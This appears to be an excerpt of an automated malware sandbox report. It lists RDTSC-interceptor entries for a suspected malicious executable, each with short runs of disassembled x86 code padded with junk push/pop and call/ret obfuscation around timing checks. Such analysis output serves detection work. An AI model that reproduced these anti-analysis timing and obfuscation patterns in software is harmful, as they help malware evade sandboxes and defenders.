Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4B61A second address: C4B63F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F78C4C759B9h 0x00000008 jmp 00007F78C4C759B1h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F78C4C759A6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB1D second address: C4DB38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F78C4C7571Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push esi 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB38 second address: C4DB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 nop 0x00000007 mov cx, B058h 0x0000000b push 00000000h 0x0000000d or dword ptr [ebp+122D2D12h], edx 0x00000013 call 00007F78C4C759A9h 0x00000018 js 00007F78C4C759AEh 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB5D second address: C4DB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB68 second address: C4DB8C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F78C4C759B2h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB8C second address: C4DB90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB90 second address: C4DB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB9A second address: C4DB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DB9E second address: C4DC56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F78C4C759AFh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push esi 0x00000013 jmp 00007F78C4C759B6h 0x00000018 pop esi 0x00000019 pop eax 0x0000001a mov dword ptr [ebp+122D2FECh], ebx 0x00000020 push 00000003h 0x00000022 mov di, 70B6h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F78C4C759A8h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov esi, dword ptr [ebp+122D286Ch] 0x00000048 mov ecx, dword ptr [ebp+122D2924h] 0x0000004e push 00000003h 0x00000050 push 00000000h 0x00000052 push ecx 0x00000053 call 00007F78C4C759A8h 0x00000058 pop ecx 0x00000059 mov dword ptr [esp+04h], ecx 0x0000005d add dword ptr [esp+04h], 00000017h 0x00000065 inc ecx 0x00000066 push ecx 0x00000067 ret 0x00000068 pop ecx 0x00000069 ret 0x0000006a movzx edx, si 0x0000006d mov dword ptr [ebp+122D2D64h], ebx 0x00000073 call 00007F78C4C759A9h 0x00000078 jbe 00007F78C4C759B8h 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F78C4C759AAh 0x00000085 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DC56 second address: C4DC66 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F78C4C75716h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DC66 second address: C4DC70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DC70 second address: C4DCC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F78C4C75721h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jc 00007F78C4C75729h 0x00000018 jng 00007F78C4C75723h 0x0000001e jmp 00007F78C4C7571Dh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F78C4C75726h 0x00000030 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DCC5 second address: C4DCCF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DCCF second address: C4DD05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a sub edi, 25CE4521h 0x00000010 lea ebx, dword ptr [ebp+124529E4h] 0x00000016 mov cx, 95E7h 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F78C4C7571Fh 0x00000022 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DEB7 second address: C4DEBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DEBD second address: C4DF1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, edi 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D2393h], edi 0x00000018 push 3513392Dh 0x0000001d ja 00007F78C4C7571Ah 0x00000023 xor dword ptr [esp], 351339ADh 0x0000002a jl 00007F78C4C7571Ch 0x00000030 mov dword ptr [ebp+122D2D02h], edi 0x00000036 push 00000003h 0x00000038 mov cl, 90h 0x0000003a push 00000000h 0x0000003c mov dx, cx 0x0000003f push 00000003h 0x00000041 mov edx, dword ptr [ebp+122D2934h] 0x00000047 or ecx, 45EA8FDAh 0x0000004d push B131A282h 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4DF1E second address: C4DF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C41599 second address: C415A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C415A3 second address: C415A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C415A8 second address: C415B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C415B5 second address: C415BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6D468 second address: C6D46D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6D98B second address: C6D99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F78C4C759AAh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6D99A second address: C6D9C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Eh 0x00000007 jmp 00007F78C4C75722h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 jns 00007F78C4C75716h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E080 second address: C6E08D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E08D second address: C6E0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C7571Dh 0x00000009 jng 00007F78C4C75716h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E0AC second address: C6E0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F78C4C759AFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E0C6 second address: C6E0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E0CA second address: C6E0CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E360 second address: C6E369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E4C1 second address: C6E4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E4C7 second address: C6E4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E4D3 second address: C6E4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F78C4C759A6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E4DD second address: C6E4F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jno 00007F78C4C75716h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C3FB53 second address: C3FB59 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C3FB59 second address: C3FB82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75720h 0x00000007 jg 00007F78C4C7571Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6E668 second address: C6E677 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C759A6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C6EB9D second address: C6EBAD instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C75716h 0x00000008 jns 00007F78C4C75716h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C724E5 second address: C724EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C724EB second address: C72510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F78C4C75726h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F78C4C75716h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C72510 second address: C72514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C38E8E second address: C38E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7B0CC second address: C7B0EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F78C4C759B1h 0x0000000c jc 00007F78C4C759A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7B0EC second address: C7B109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 je 00007F78C4C7572Ch 0x0000000c jp 00007F78C4C75718h 0x00000012 pushad 0x00000013 jl 00007F78C4C75716h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7B3BE second address: C7B3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C759B8h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7BB0A second address: C7BB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7BB10 second address: C7BB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7C4A8 second address: C7C4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F78C4C75716h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7C4B3 second address: C7C504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5EA31700h 0x00000010 jmp 00007F78C4C759B6h 0x00000015 push 93C47211h 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F78C4C759B4h 0x00000022 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D2D3 second address: C7D2E5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D2E5 second address: C7D2EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D4F0 second address: C7D4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D6BD second address: C7D6CB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D6CB second address: C7D6D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7D6D8 second address: C7D6EE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F78C4C759AAh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C7E48D second address: C7E4D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pop edi 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D2F78h], esi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F78C4C75718h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov esi, 2D405D54h 0x00000039 movsx edi, dx 0x0000003c push eax 0x0000003d push edi 0x0000003e push esi 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C30790 second address: C30794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C81A3A second address: C81A3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C82EA4 second address: C82EA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C84499 second address: C844B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F78C4C75718h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F78C4C75718h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C844B3 second address: C844BD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F78C4C759ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C3C400 second address: C3C404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C89986 second address: C8999A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8999A second address: C899AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C75721h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8AEE0 second address: C8AF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 popad 0x00000009 mov dword ptr [esp], eax 0x0000000c jg 00007F78C4C759ACh 0x00000012 and edi, 1FE6BDE7h 0x00000018 push 00000000h 0x0000001a or bl, FFFFFFF9h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F78C4C759A8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000015h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 and ebx, dword ptr [ebp+124785BCh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F78C4C759B7h 0x00000047 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8AF3C second address: C8AF42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C3594B second address: C3594F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8E5D1 second address: C8E5D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8E5D7 second address: C8E5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8F764 second address: C8F76A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8F76A second address: C8F787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C759B9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8F787 second address: C8F78B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8F78B second address: C8F821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jnp 00007F78C4C759AAh 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 push 00000000h 0x00000017 call 00007F78C4C759B9h 0x0000001c and edi, 067E9659h 0x00000022 pop edi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F78C4C759A8h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f jns 00007F78C4C759ACh 0x00000045 xchg eax, esi 0x00000046 je 00007F78C4C759BCh 0x0000004c jmp 00007F78C4C759B6h 0x00000051 push eax 0x00000052 pushad 0x00000053 jns 00007F78C4C759ACh 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C8F821 second address: C8F825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C90916 second address: C9091B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C9091B second address: C90921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C90921 second address: C90925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C938BA second address: C938BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
